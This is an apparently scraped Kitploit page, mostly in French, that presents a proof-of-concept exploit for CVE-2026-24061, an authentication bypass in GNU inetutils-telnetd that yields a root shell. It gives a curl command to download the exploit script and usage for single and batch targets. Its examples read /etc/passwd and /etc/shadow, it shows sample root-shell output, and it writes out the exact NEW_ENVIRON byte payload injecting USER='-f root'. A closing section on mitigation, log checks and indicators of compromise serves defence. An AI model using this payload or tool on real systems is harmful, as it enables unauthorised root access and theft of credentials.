CVE-2026-24061 — Proof of Concept: CVE-2026-24061 is a critical authentication bypass vulnerability in GNU inetutils-telnetd allowing unauthenticated remote attackers to gain instant root shell access via malicious NEW_ENVIRON telnet option exploitation. | Kitploit

Package	Objectif
socket	Communication réseau
select	Multiplexage d'E/S
sys	Interaction système
os	Interface du système d'exploitation
threading	Exploitation concurrente des cibles
datetime	Formatage des horodatages

# Téléchargez l'exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Rendez-le exécutable (Linux/macOS)
chmod +x main.py

# Exécutez l'exploit
python3 main.py -u <ip_cible>

Usage:
    python3 main.py -u <ip_cible> [-p <port>] [-usr <utilisateur>]
    python3 main.py -l <fichier_cibles> [-p <port>] [-usr <utilisateur>]
    echo "commandes" | python3 main.py -u <ip_cible>

Arguments :
    -u          Adresse IP ou nom d'hôte de la cible unique
    -l          Chemin vers le fichier contenant les IP cibles (une par ligne)
    -p          Port cible (par défaut : 23)
    -usr        Utilisateur à exploiter (par défaut : root)

# Exploitation de base (port 23 par défaut, utilisateur root)
python3 main.py -u 192.168.1.100

# Port personnalisé
python3 main.py -u 192.168.1.100 -p 2323

# Utilisateur différent
python3 main.py -u 192.168.1.100 -usr admin

# Commande unique
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Plusieurs commandes
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Commande avec redirection de sortie
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Indicateur	Couleur	Description
`[SUCCESS]`	Vert	Connexion réussie à la cible
`[EXPLOIT]`	Vert	Charge utile d'exploitation envoyée avec succès
`[INFO]`	Bleu	Message informatif sur l'opération en cours
`[ERROR]`	Rouge	Échec de connexion, délai d'attente ou erreur d'exploitation
`[WARNING]`	Jaune	Message d'avertissement (non utilisé actuellement)

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

Désactiver telnetd : Arrêter et désactiver le service telnetd immédiatement

# Systèmes basés sur systemd
sudo systemctl stop telnetd
sudo systemctl disable telnetd

# Systèmes basés sur xinetd
sudo service xinetd stop
sudo chkconfig telnet off

Règles de pare-feu : Bloquer le port telnet (23) au niveau du pare-feu

# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload

Isolement réseau : Supprimer le service telnet des systèmes exposés à Internet
- Utiliser uniquement des segments réseau internes
- Mettre en œuvre des listes de contrôle d'accès réseau (ACL)

Action	Priorité	Description
Migration vers SSH	Critique	Remplacer telnet par SSH pour l'accès à distance
Gestion des correctifs	Critique	Surveiller et appliquer les mises à jour de sécurité
Audit des services	Élevée	Identifier et désactiver les services réseau inutiles
Segmentation réseau	Élevée	Isoler les systèmes critiques des réseaux publics
Détection d'intrusions	Moyenne	Déployer un IDS/IPS pour détecter les tentatives d'exploitation
Contrôle d'accès	Moyenne	Mettre en œuvre une liste blanche d'adresses IP pour les services distants

# Installer le serveur OpenSSH
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# Activer et démarrer SSH
sudo systemctl enable sshd
sudo systemctl start sshd

# Rechercher des schémas de connexion inhabituels
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure

# Rechercher des variables d'environnement USER suspectes
sudo grep "USER.*-f" /var/log/auth.log

# Vérifier les connexions telnet actives
sudo netstat -antp | grep :23

# Examiner les connexions root récentes
sudo last | grep root

# Vérifier les fichiers système modifiés
sudo rpm -Va  # RHEL/CentOS
sudo debsums -c  # Debian/Ubuntu

# Lister les processus par root
sudo ps aux | grep root

# Vérifier les clés SSH non autorisées
sudo cat /root/.ssh/authorized_keys

Identifiant CVE	CVE-2026-24061
Score CVSS v3.1	9.8 (Critique)
Vecteur CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Classification CWE	CWE-88 : Neutralisation incorrecte des délimiteurs d'arguments dans une commande
Éditeur	Projet GNU
Produit	inetutils-telnetd
Date de divulgation	20 janvier 2026
Correctif disponible	À déterminer

Plage de versions	Statut
<= 2.7	Vulnérable
> 2.7	Statut du correctif : À déterminer

CVE-2026-24061

Populaires

CVE-2026-24061

GNU inetutils-telnetd - Contournement d'authentification à distance

Table des matières

Résumé de la vulnérabilité

Résumé exécutif

Évaluation de l'impact

Versions affectées

Analyse technique

Cause racine de la vulnérabilité

Vecteur d'attaque

Complexité de l'exploitation

Prérequis

Configuration système requise

Dépendances

Installation

Méthode 1 : Utilisation de Git

Méthode 2 : Téléchargement direct

Méthode 3 : Installation manuelle

Utilisation

Interface en ligne de commande

Exploitation d'une cible unique

Mode d'exécution de commandes

Exploitation de cibles groupées

Référence des sorties

Indicateurs d'état

Exemple de sortie

Méthodologie d'exploitation

Processus de négociation du protocole Telnet

Structure de la charge utile

Gestion de la session interactive

Atténuation et correction

Actions immédiates

Recommandations à long terme

Solutions alternatives

Vérification après atténuation

Indicateurs de compromission

Analyse des journaux

Artefacts système

Indicateurs réseau

Commandes de détection

Avertissement légal

Références

Ressources officielles

Informations sur la vulnérabilité

Documentation connexe

Bonnes pratiques de sécurité

Crédits

Journal des modifications

Support et contact

Licence